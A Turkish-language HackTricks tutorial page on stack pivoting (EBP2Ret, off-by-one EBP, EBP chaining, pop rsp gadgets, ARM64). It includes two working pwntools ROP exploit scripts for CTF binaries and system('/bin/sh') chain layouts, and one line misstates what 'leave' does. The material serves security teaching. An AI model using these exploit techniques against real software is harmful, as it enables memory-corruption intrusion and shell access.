Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Temel Bilgiler
Bu teknik, Base Pointer (EBP)'yi manipüle etme yeteneğini kullanarak, EBP kaydının dikkatli kullanımı ve leave; ret
talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme yeteneğini istismar eder.
Hatırlatmak gerekirse, leave
temelde şunu ifade eder:
mov ebp, esp
pop ebp
ret
Ve EBP yığında EIP'den önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür.
EBP2Ret
Bu teknik, EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır.
Eğer fvuln
'in çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir sahte EBP enjekte etmeyi başarırsanız (artı pop
işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. fvuln
döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki pop
işlemi ESP'yi 4 azaltır, etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.
2 adresi bilmeniz gerektiğine dikkat edin: ESP'nin gideceği adres ve ESP tarafından işaret edilen adresi yazmanız gereken yer.
Exploit Yapısı
Öncelikle, rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir. ESP buraya işaret edecek ve ilk ret
çalıştırılacak.
Sonra, rastgele kodu çalıştıracak ret
tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz:
- Geçerli bir ONE_GADGET adresi.
system()
adresi, ardından 4 gereksiz byte ve"/bin/sh"
adresi (x86 bitleri).jump esp;
gadget'ının adresi (ret2esp) ardından çalıştırılacak shellcode.- Bazı ROP zincirleri.
Kontrollü bellek kısmındaki bu adreslerden önce 4
byte bulunması gerektiğini unutmayın, çünkü pop
kısmı leave
talimatının bir parçasıdır. Bu 4B'yi, ikinci sahte EBP ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür.
Off-By-One Exploit
Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz durumlarda kullanılır. Böyle bir durumda, ret
ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir.
Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00 değiştirilir.
Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve nihai ROP zincirinin çalıştırılması daha olası hale gelir.
EBP Zincirleme
Bu nedenle, yığın üzerindeki EBP
girişine kontrol edilen bir adres koyarak ve EIP
'de leave; ret
adresi koyarak, ESP
'yi yığın üzerindeki kontrol edilen EBP
adresine taşımak mümkündür.
Artık, ESP
istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir RET
. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür:
&(next fake EBP)
->leave
talimatındanpop ebp
nedeniyle yeni EBP'yi yüklesystem()
->ret
tarafından çağrılır&(leave;ret)
-> sistem sona erdikten sonra çağrılır, ESP'yi sahte EBP'ye taşır ve tekrar başlar&("/bin/sh")
->system
için parametre
Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür.
Bu, ret2lib gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir.
Ayrıca, bu tekniği kullanan bir challenge örneği burada bulunmaktadır ve bir stack leak ile kazanan bir fonksiyonu çağırır. Bu sayfanın son yükü:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP kullanılmayabilir
As explained in this post, eğer bir ikili bazı optimizasyonlarla derlenmişse, EBP asla ESP'yi kontrol edemez, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.
Bu, prolog ve epilog değişiklikleri ikili optimize edildiğinde gerçekleşir.
- Optimize edilmemiş:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimize edilmiş:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
RSP'yi Kontrol Etmenin Diğer Yolları
pop rsp
aracı
Bu sayfada bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir pop rsp
aracı vardı ve stack'ten bir leak vardı:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp tekniğini burada kontrol edin:
Referanslar ve Diğer Örnekler
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx ve pie. Program, yığın veya pie için bir leak ve bir qword için bir WWW sağlar. Önce yığın leak'ini alın ve pie leak'ini almak için WWW'yi kullanın. Ardından,
.fini_array
girişlerini kötüye kullanarak sonsuz bir döngü oluşturmak için WWW'yi kullanın +__libc_csu_fini
çağrısı (daha fazla bilgi burada). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır.
ARM64
ARM64'te, fonksiyonların prologları ve epilogları SP kaydını yığında saklamaz ve geri almaz. Dahası, RET
komutu SP tarafından işaret edilen adrese dönmez, ancak x30
içindeki adrese döner.
Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak SP kaydını kontrol edemezsiniz yığın içindeki bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, x30
kaydını kontrol etmenin bir yoluna ihtiyacınız olacaktır.
- prolog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP çerçeve kaydına işaret eder
- epilog
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, SP
'yi kontrol edebilmek (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından epilogu kötüye kullanarak kontrollü bir SP
'den x30
kaydını yüklemek ve RET
ile ona dönmektir.
Ayrıca, aşağıdaki sayfada Ret2esp'in ARM64'teki eşdeğerini görebilirsiniz:
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.